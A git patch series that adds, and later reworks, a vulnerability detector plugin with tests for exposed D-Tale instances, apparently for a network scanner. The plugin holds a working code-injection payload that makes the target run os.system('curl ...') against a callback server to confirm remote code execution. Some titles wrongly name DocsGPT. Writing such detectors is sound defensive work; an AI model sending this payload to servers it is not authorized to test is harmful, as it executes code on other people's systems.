From 76c8275d44884ca4b333f84a912db3024f5bb22b Mon Sep 17 00:00:00 2001 From: VickyTheViking Date: Tue, 5 Aug 2025 00:12:35 +0400 Subject: [PATCH 1/4] Dtale Server query method Code injection template plugin --- .../cve/2024/Dtale_CVE_2024_9016.textproto | 122 ++++++++++++++++++ .../2024/Dtale_CVE_2024_9016_test.textproto | 83 ++++++++++++ 2 files changed, 205 insertions(+) create mode 100644 templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto create mode 100644 templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto new file mode 100644 index 000000000..1ecd1b2ec --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto @@ -0,0 +1,122 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Dtale_CVE_2024_9016" + author: "VickyTheViking" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2024-9016" + } + severity: CRITICAL + title: "Remote code execution affecting DocsGPT (CVE-2024-9016)" + description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server." + recommendation: "Enable Authentication in the application to prevent unauthorized access." + related_id: { + publisher: "CVE" + value: "CVE-2024-9016" + } +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_dtale" + http_request: { + method: GET + uri: "/dtale/popup/upload" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "My App - Load Data" } + ] + } + } + } +} + +actions: { + name: "create_sample_table" + http_request: { + method: POST + uri: "/dtale/upload" + headers: [ + { name: "Content-Type" value: "multipart/form-data; boundary=----geckoformboundaryb38fffc548bd5dad82328985c3f223d4" } + ] + data: '------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="simple-dtale-data.csv"; filename="simple-dtale-data.csv"\r\nContent-Type: text/csv\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="header"\r\n\r\ntrue\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separatorType"\r\n\r\ncomma\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separator"\r\n\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4--\r\n' + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "\"data_id\":" }, + { body: {} contains: "\"success\":" } + ] + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"data_id\":\"([0-9_]+)\"" + variable_name: "dataid" + } + ] + } + } + } +} + +actions: { + name: "trigger_code_execution" + http_request: { + method: GET + uri: "/dtale/chart-data/{{ dataid }}?query=%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "\"error\":\"" } + ] + } + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_dtale", + "create_sample_table", + "trigger_code_execution", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto new file mode 100644 index 000000000..130c419be --- /dev/null +++ b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto @@ -0,0 +1,83 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Dtale_CVE_2024_9016" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/dtale/popup/upload" + status: 200 + body_content: "My App - Load Data \n script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\">" + "" + }, + { + uri: "/dtale/upload" + status: 200 + body_content: '{"data_id":"112233","success":true}' + condition: { + headers: [ + { name: "Content-Type" value: "multipart/form-data; boundary=----geckoformboundaryb38fffc548bd5dad82328985c3f223d4" } + ] + body_content: '------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="simple-dtale-data.csv"; filename="simple-dtale-data.csv"\r\nContent-Type: text/csv\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="header"\r\n\r\ntrue\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separatorType"\r\n\r\ncomma\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separator"\r\n\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4--\r\n' + } + }, + { + uri: "/dtale/chart-data/112233?query=%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" + status: 200 + body_content: "\"error\":\"" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/dtale/popup/upload" + status: 200 + body_content: "My App - Load Data script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\">" + } + ] + } +} + +tests: { + name: "whenNotDocsGPT_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} From e463a0b357ecf5e20e2b742047cd519233e769de Mon Sep 17 00:00:00 2001 From: VickyTheViking Date: Tue, 5 Aug 2025 15:12:20 +0400 Subject: [PATCH 2/4] use wrokflow param for payload, fix some bugs, better fingerprint step --- .../plugins/cve/2024/Dtale_CVE_2024_9016.textproto | 9 ++++++--- .../plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto | 7 ++++--- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto index 1ecd1b2ec..8a673fc78 100644 --- a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto +++ b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto @@ -42,7 +42,8 @@ actions: { http_status: 200 expect_all: { conditions: [ - { body: {} contains: "My App - Load Data" } + { body: {} contains: '' }, + { body: {} contains: "" } ] } } @@ -62,7 +63,6 @@ actions: { http_status: 200 expect_all: { conditions: [ - { body: {} contains: "\"data_id\":" }, { body: {} contains: "\"success\":" } ] } @@ -83,7 +83,7 @@ actions: { name: "trigger_code_execution" http_request: { method: GET - uri: "/dtale/chart-data/{{ dataid }}?query=%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" + uri: "/dtale/chart-data/{{ dataid }}?query={{ payload }}" response: { http_status: 200 expect_all: { @@ -111,6 +111,9 @@ actions: { ############# workflows: { + variables: [ + { name: "payload" value: "%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" } + ] condition: REQUIRES_CALLBACK_SERVER actions: [ "fingerprint_dtale", diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto index 130c419be..16aee3034 100644 --- a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto +++ b/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto @@ -19,7 +19,7 @@ tests: { { uri: "/dtale/popup/upload" status: 200 - body_content: "My App - Load Data \n script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\">" + body_content: '' "" }, { @@ -34,7 +34,7 @@ tests: { } }, { - uri: "/dtale/chart-data/112233?query=%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" + uri: "/dtale/chart-data/112233?query={{ payload }}" status: 200 body_content: "\"error\":\"" } @@ -56,7 +56,8 @@ tests: { { uri: "/dtale/popup/upload" status: 200 - body_content: "My App - Load Data script type=\"text/javascript\" src=\"/dtale/static/dist/base_styles_bundle.js\">" + body_content: '' + "" } ] } From 565139fdf81b6a7718410102377602c67c40c9c5 Mon Sep 17 00:00:00 2001 From: VickyTheViking Date: Tue, 5 Aug 2025 15:30:52 +0400 Subject: [PATCH 3/4] update CVE to exposed UI as the CVE is rejected --- .../Dtale_ExposedUI.textproto} | 14 +++++--------- .../Dtale_ExposedUI_test.textproto} | 2 +- 2 files changed, 6 insertions(+), 10 deletions(-) rename templated/templateddetector/plugins/{cve/2024/Dtale_CVE_2024_9016.textproto => exposedui/Dtale_ExposedUI.textproto} (87%) rename templated/templateddetector/plugins/{cve/2024/Dtale_CVE_2024_9016_test.textproto => exposedui/Dtale_ExposedUI_test.textproto} (98%) diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto similarity index 87% rename from templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto rename to templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto index 8a673fc78..5844bbd43 100644 --- a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016.textproto +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto @@ -7,7 +7,7 @@ info: { type: VULN_DETECTION - name: "Dtale_CVE_2024_9016" + name: "Dtale_ExposedUI" author: "VickyTheViking" version: "1.0" } @@ -15,16 +15,12 @@ info: { finding: { main_id: { publisher: "GOOGLE" - value: "CVE-2024-9016" + value: "DTALE_EXPOSED_UI" } severity: CRITICAL - title: "Remote code execution affecting DocsGPT (CVE-2024-9016)" - description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server." - recommendation: "Enable Authentication in the application to prevent unauthorized access." - related_id: { - publisher: "CVE" - value: "CVE-2024-9016" - } + title: "Remote code execution affecting Dtale" + description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server, this is because D-Tale has a query engine and the query engine allow to run python scripts by design." + recommendation: "You can change the query engine or Enable Authentication in the application to prevent unauthorized access. Check out this link for more information: https://github.com/man-group/dtale/blob/master/docs/CONFIGURATION.md" } config: {} diff --git a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto similarity index 98% rename from templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto rename to templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto index 16aee3034..d6cb009dc 100644 --- a/templated/templateddetector/plugins/cve/2024/Dtale_CVE_2024_9016_test.textproto +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto @@ -2,7 +2,7 @@ # proto-message: TemplatedPluginTests config: { - tested_plugin: "Dtale_CVE_2024_9016" + tested_plugin: "Dtale_ExposedUI" } tests: { From bc856a8925af0eb8c5d949cf1f5a792688068313 Mon Sep 17 00:00:00 2001 From: VickyTheViking Date: Sun, 5 Oct 2025 16:02:44 +0400 Subject: [PATCH 4/4] action create_sample_table is fixed, a clean up action is added --- .../plugins/exposedui/Dtale_ExposedUI.textproto | 16 ++++++++++++++-- .../exposedui/Dtale_ExposedUI_test.textproto | 4 ++-- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto index 5844bbd43..7df7a2e4b 100644 --- a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto @@ -52,9 +52,9 @@ actions: { method: POST uri: "/dtale/upload" headers: [ - { name: "Content-Type" value: "multipart/form-data; boundary=----geckoformboundaryb38fffc548bd5dad82328985c3f223d4" } + { name: "Content-Type" value: "multipart/form-data; boundary=-" } ] - data: '------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="simple-dtale-data.csv"; filename="simple-dtale-data.csv"\r\nContent-Type: text/csv\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="header"\r\n\r\ntrue\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separatorType"\r\n\r\ncomma\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separator"\r\n\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4--\r\n' + data: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' response: { http_status: 200 expect_all: { @@ -89,6 +89,18 @@ actions: { } } } + cleanup_actions: ["cleanup_sample_table"] +} + +actions: { + name: "cleanup_sample_table" + http_request: { + method: GET + uri: "/dtale/cleanup-datasets?dataIds={{ dataid }}" + response: { + http_status: 200 + } + } } actions: { diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto index d6cb009dc..b5dff29cc 100644 --- a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto @@ -28,9 +28,9 @@ tests: { body_content: '{"data_id":"112233","success":true}' condition: { headers: [ - { name: "Content-Type" value: "multipart/form-data; boundary=----geckoformboundaryb38fffc548bd5dad82328985c3f223d4" } + { name: "Content-Type" value: "multipart/form-data; boundary=-" } ] - body_content: '------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="simple-dtale-data.csv"; filename="simple-dtale-data.csv"\r\nContent-Type: text/csv\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="header"\r\n\r\ntrue\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separatorType"\r\n\r\ncomma\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4\r\nContent-Disposition: form-data; name="separator"\r\n\r\n\r\n------geckoformboundaryb38fffc548bd5dad82328985c3f223d4--\r\n' + body_content: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' } }, {